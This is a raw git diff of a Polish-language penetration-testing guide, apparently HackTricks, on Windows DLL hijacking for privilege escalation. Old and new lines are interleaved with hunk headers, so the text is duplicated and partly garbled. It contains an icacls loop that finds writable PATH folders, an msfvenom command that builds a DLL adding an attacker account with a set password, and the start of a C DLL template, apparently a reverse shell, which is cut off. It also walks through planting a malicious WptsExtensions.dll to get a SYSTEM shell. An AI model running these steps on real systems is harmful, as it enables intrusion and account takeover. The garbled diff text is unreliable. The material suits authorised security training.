Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie jest to dość dziwne, aby znaleźć uprawniony plik wykonywalny bez dll** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** dla Dll hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując:
```bash
@ -87,7 +86,7 @@ I **sprawdź uprawnienia wszystkich folderów w PATH**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
Możesz również sprawdzić importy pliku wykonywalnego i eksporty dll za pomocą:
Możesz również sprawdzić importy pliku wykonywalnego oraz eksporty dll za pomocą:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
@ -105,14 +104,14 @@ Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **fu
### Przykład
W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. W każdym razie, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../../authentication-credentials-uac-and-efs/#uac) lub z [**High Integrity do SYSTEM**](../#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Ponadto, w **następnej sekcji** możesz znaleźć kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, będzie **utworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. W każdym razie, pamiętaj, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) lub z [**High Integrity do SYSTEM**](../index.html#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Ponadto, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
## **Tworzenie i kompilowanie Dlls**
### **Dll Proxifying**
W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami** poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**.
W zasadzie **Dll proxy** to dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami** poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**.
Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać wykonywalny plik i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**.
@ -132,7 +131,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Twoje własne
Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie mógł ich załadować** i **eksploit się nie powiedzie**.
Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie w stanie ich załadować** i **eksploit się nie powiedzie**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared

View File

@ -47,13 +47,13 @@ $newPath = "$envPath;$folderPath"
<figure><img src="../../../images/image (945).png" alt=""><figcaption></figcaption></figure>
### Brakujące Dll
### Przegapione Dll
Uruchamiając to na darmowej **wirtualnej maszynie (vmware) Windows 11** uzyskałem te wyniki:
<figure><img src="../../../images/image (607).png" alt=""><figcaption></figcaption></figure>
W tym przypadku .exe są bezużyteczne, więc je zignoruj, brakujące DLL pochodziły od:
W tym przypadku .exe są bezużyteczne, więc je zignoruj, przegapione DLL pochodziły z:
| Usługa | Dll | Linia CMD |
| ------------------------------- | ------------------ | ------------------------------------------------------------------- |
@ -61,22 +61,22 @@ W tym przypadku .exe są bezużyteczne, więc je zignoruj, brakujące DLL pochod
| Usługa polityki diagnostycznej (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
Po znalezieniu tego, znalazłem ten interesujący post na blogu, który również wyjaśnia, jak [**nadużyć WptsExtensions.dll do eskalacji uprawnień**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Co właśnie **zamierzamy teraz zrobić**.
Po znalezieniu tego, znalazłem ten interesujący post na blogu, który również wyjaśnia, jak [**nadużyć WptsExtensions.dll do podwyższenia uprawnień**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll). Co zamierzamy teraz zrobić.
### Eksploatacja
Aby **eskalować uprawnienia**, zamierzamy przejąć bibliotekę **WptsExtensions.dll**. Mając **ścieżkę** i **nazwę**, musimy tylko **wygenerować złośliwy dll**.
Aby **podnieść uprawnienia**, zamierzamy przejąć bibliotekę **WptsExtensions.dll**. Mając **ścieżkę** i **nazwę**, musimy tylko **wygenerować złośliwe dll**.
Możesz [**spróbować użyć któregokolwiek z tych przykładów**](./#creating-and-compiling-dlls). Możesz uruchomić payloady takie jak: uzyskać powłokę rev, dodać użytkownika, wykonać beacon...
Możesz [**spróbować użyć któregokolwiek z tych przykładów**](#creating-and-compiling-dlls). Możesz uruchomić payloady takie jak: uzyskać powłokę rev, dodać użytkownika, wykonać beacon...
> [!WARNING]
> Zauważ, że **nie wszystkie usługi są uruchamiane** z **`NT AUTHORITY\SYSTEM`**, niektóre są również uruchamiane z **`NT AUTHORITY\LOCAL SERVICE`**, które mają **mniejsze uprawnienia** i **nie będziesz mógł stworzyć nowego użytkownika** nadużyć jego uprawnień.\
> Jednak ten użytkownik ma uprawnienie **`seImpersonate`**, więc możesz użyć [**potato suite do eskalacji uprawnień**](../roguepotato-and-printspoofer.md). Tak więc w tym przypadku powłoka rev jest lepszą opcją niż próba stworzenia użytkownika.
> Jednak ten użytkownik ma uprawnienie **`seImpersonate`**, więc możesz użyć [**potato suite do podwyższenia uprawnień**](../roguepotato-and-printspoofer.md). W tym przypadku powłoka rev jest lepszą opcją niż próba stworzenia użytkownika.
W momencie pisania usługa **Harmonogram zadań** jest uruchamiana z **Nt AUTHORITY\SYSTEM**.
Mając **wygenerowany złośliwy Dll** (_w moim przypadku użyłem x64 rev shell i otrzymałem powłokę, ale defender ją zabił, ponieważ pochodziła z msfvenom_), zapisz go w zapisywalnym System Path pod nazwą **WptsExtensions.dll** i **zrestartuj** komputer (lub zrestartuj usługę lub zrób cokolwiek, aby ponownie uruchomić dotkniętą usługę/program).
Mając **wygenerowane złośliwe Dll** (_w moim przypadku użyłem x64 rev shell i otrzymałem powłokę, ale defender ją zabił, ponieważ pochodziła z msfvenom_), zapisz je w zapisywalnym System Path pod nazwą **WptsExtensions.dll** i **zrestartuj** komputer (lub zrestartuj usługę lub zrób cokolwiek, aby ponownie uruchomić dotkniętą usługę/program).
Gdy usługa zostanie ponownie uruchomiona, **dll powinien zostać załadowany i wykonany** (możesz **ponownie użyć** sztuczki **procmon**, aby sprawdzić, czy **biblioteka została załadowana zgodnie z oczekiwaniami**).
Gdy usługa zostanie ponownie uruchomiona, **dll powinno zostać załadowane i wykonane** (możesz **ponownie użyć** sztuczki **procmon**, aby sprawdzić, czy **biblioteka została załadowana zgodnie z oczekiwaniami**).
{{#include ../../../banners/hacktricks-training.md}}